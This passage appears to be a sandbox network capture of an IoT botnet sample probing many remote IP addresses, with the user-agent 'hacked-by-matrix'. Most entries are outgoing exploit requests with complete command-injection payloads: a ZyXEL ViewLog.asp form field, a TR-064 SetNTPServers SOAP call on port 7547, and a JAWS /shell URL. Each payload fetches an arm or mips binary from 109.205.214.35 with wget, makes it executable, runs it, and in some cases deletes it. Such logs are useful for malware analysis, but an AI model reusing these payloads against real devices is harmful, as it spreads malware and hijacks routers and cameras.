20 65 73 63 72 69 74 6f 20 65 20 66 6f 72 6d 61 74 61 64 6f 20 63 6f 72 72 65 74 61 6d 65 6e 74 65 2e 3c 2f 6c 69 3e 0d 0a 3c 6c 69 3e 53 65 20 76 6f 63 ea 20 61 63 65 73 73 6f 75 20 65 73 74 61 20 70 e1 67 69 6e 61 20 63 6c 69 63 61 6e 64 6f 20 65 6d 20 75 6d 20 6c 69 6e 6b 2c 20 63 6f 6e 74 61 74 65 20 6f 20 61 64 6d 69 6e 69 73 74 72 61 64 6f 72 20 64 6f 20 73 69 74 65 20 70 61 72 61 20 61 6c 65 72 74 e1 2d 6c 6f 20 64 65 20 71 75 65 20 6f 20 6c 69 6e 6b 20 65 73 74 e1 20 66 6f 72 6d 61 74 61 64 6f 20 69 6e 63 6f 72 72 65 74 61 6d 65 6e 74 65 2e 0d 0a 3c 2f 6c 69 3e 0d 0a 3c 6c 69 3e 43 6c 69 71 75 65 20 6e 6f 20 62 6f 74 e3 6f 20 3c 61 20 68 72 65 66 3d 22 6a 61 76 61 73 63 72 69 70 74 3a 68 69 73 74 6f 72 79 2e 62 61 63 6b 28 31 29 22 3e 56 6f 6c 74 61 72 3c 2f 61 3e 20 65 20 74 65 6e 74 65 20 6f 75 74 72 6f 20 6c 69 6e 6b 2e 3c 2f 6c 69 3e 0d 0a 3c 2f 75 6c 3e 0d 0a 3c 68 32 3e 45 72 72 6f 20 48 54 Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>No possvel localizar a pgina</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=windows-1252"><STYLE type="text/css"> BODY { font: 8pt/12pt verdana } H1 { font: 13pt/15pt verdana } H2 { font: 8pt/12pt verdana } A:link { color: red } A:visited { color: maroon }</STYLE></HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD><h1>No possvel localizar a pgina</h1>A pgina que voc est procurando pode ter sido removida, o seu nome pode ter sido alterado ou talvez ela no esteja disponvel temporariamente.<hr><p>Tente o seguinte:</p><ul><li>Certifique-se de que o endereo do site exibido na barra de endereos do navegador est escrito e formatado corretamente.</li><li>Se voc acessou esta pgina clicando em um link, contate o administrador do site para alert-lo de que o link est formatado incorretamente.</li><li>Clique no boto <a href="javascript:history.back(1)">Voltar</a> e tente outro link.</li></ul><h2>Erro HT
Mar 21, 2024 05:17:29.764883995 CET	651	IN	Data Raw: 54 50 20 34 30 34 20 2d 20 41 72 71 75 69 76 6f 20 6f 75 20 64 69 72 65 74 f3 72 69 6f 20 6e e3 6f 20 65 6e 63 6f 6e 74 72 61 64 6f 2e 3c 62 72 3e 49 49 53 20 28 53 65 72 76 69 e7 6f 73 20 64 65 20 49 6e 66 6f 72 6d 61 e7 f5 65 73 20 64 61 20 49 Data Ascii: TP 404 - Arquivo ou diretrio no encontrado.<br>IIS (Servios de Informaes da Internet)</h2><hr><p>Informaes tcnicas (para equipe de suporte)</p><ul><li>V para <a href="http://go.microsoft.com/fwlink/?linkid=8180">Servios de su
Mar 21, 2024 05:17:29.764924049 CET	176	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Date: Thu, 21 Mar 2024 04:19:11 GMT Connection: close Content-Length: 35 Data Raw: 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 20 28 49 6e 76 61 6c 69 64 20 56 65 72 62 29 3c 2f 68 31 3e Data Ascii: <h1>Bad Request (Invalid Verb)</h1>

Session ID	Source IP	Source Port	Destination IP	Destination Port
490	192.168.2.23	41680	82.81.217.189	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:28.891225100 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:29.980986118 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
491	192.168.2.23	52958	213.196.46.202	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:29.038420916 CET	181	IN	HTTP/1.0 400 Bad request cache-control: no-cache content-type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
492	192.168.2.23	52970	213.196.46.202	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:29.222183943 CET	181	IN	HTTP/1.0 400 Bad request cache-control: no-cache content-type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
493	192.168.2.23	43448	172.65.32.255	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:29.557579994 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
494	192.168.2.23	43500	172.65.32.255	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:29.651077032 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
495	192.168.2.23	41658	109.157.211.86	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:29.651230097 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
496	192.168.2.23	41102	45.132.196.47	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:29.711287975 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
497	192.168.2.23	44788	119.202.216.94	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:29.751673937 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
498	192.168.2.23	41710	109.157.211.86	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:29.825154066 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
499	192.168.2.23	33742	197.29.234.206	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:29.929244995 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:30.626434088 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:31.294832945 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:32.604692936 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:32.825608015 CET	243	IN	HTTP/1.1 401 Unauthorized Content-Length: 0 Connection: Keep-Alive WWW-Authenticate: Digest realm="realm@easycwmp",qop="auth",nonce="c56823f0841e9c597406144f0710622500578ace",opaque="328458fab28345ae87ab3210a8513b14eff452a2"

Session ID	Source IP	Source Port	Destination IP	Destination Port
500	192.168.2.23	41156	45.132.196.47	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:29.961980104 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
501	192.168.2.23	38494	64.127.187.99	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:29.965042114 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:30.144126892 CET	174	IN	HTTP/1.1 400 Bad Request Content-Length: 0 Date: Thu, 21 Mar 2024 04:17:46 GMT X-Frame-Options: sameorigin Content-Security-Policy: frame-ancestors 'self'
Mar 21, 2024 05:17:30.549499035 CET	174	IN	HTTP/1.1 400 Bad Request Content-Length: 0 Date: Thu, 21 Mar 2024 04:17:46 GMT X-Frame-Options: sameorigin Content-Security-Policy: frame-ancestors 'self'

Session ID	Source IP	Source Port	Destination IP	Destination Port
502	192.168.2.23	35058	173.0.146.209	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:29.984328032 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:30.686829090 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:30.827553988 CET	190	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d Data Ascii: <html><head><title>301 Moved Permanently</title></head><body bgcolor="white"><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
503	192.168.2.23	44852	119.202.216.94	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:30.045847893 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:31.548753023 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
504	192.168.2.23	55586	115.18.106.85	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:30.045967102 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:30.947638035 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
505	192.168.2.23	50152	109.167.240.212	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:30.080349922 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:30.308208942 CET	174	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
506	192.168.2.23	52310	186.233.73.81	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:30.093018055 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:30.362325907 CET	49	IN	HTTP/1.1 404 Site or Page Not Found
Mar 21, 2024 05:17:30.362394094 CET	40	IN	Data Raw: 53 65 72 76 65 72 3a 20 47 6f 41 68 65 61 64 2d 57 65 62 73 2f 32 2e 35 2e 30 0d 0a Data Ascii: Server: GoAhead-Webs/2.5.0
Mar 21, 2024 05:17:30.362468004 CET	44	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 20 4d 61 72 20 32 31 20 30 31 3a 31 37 3a 32 39 20 32 30 32 34 0d 0a Data Ascii: Date: Thu Mar 21 01:17:29 2024
Mar 21, 2024 05:17:30.362561941 CET	253	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e Data Ascii: Pragma: no-cacheCache-Control: no-cacheContent-Type: text/html<html><head><title>Document Error: Site or Page Not Found</title></head><body><h2>Access Error: Site or Page Not Found</h2><p>Cannot open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
507	192.168.2.23	38498	64.127.187.99	7547

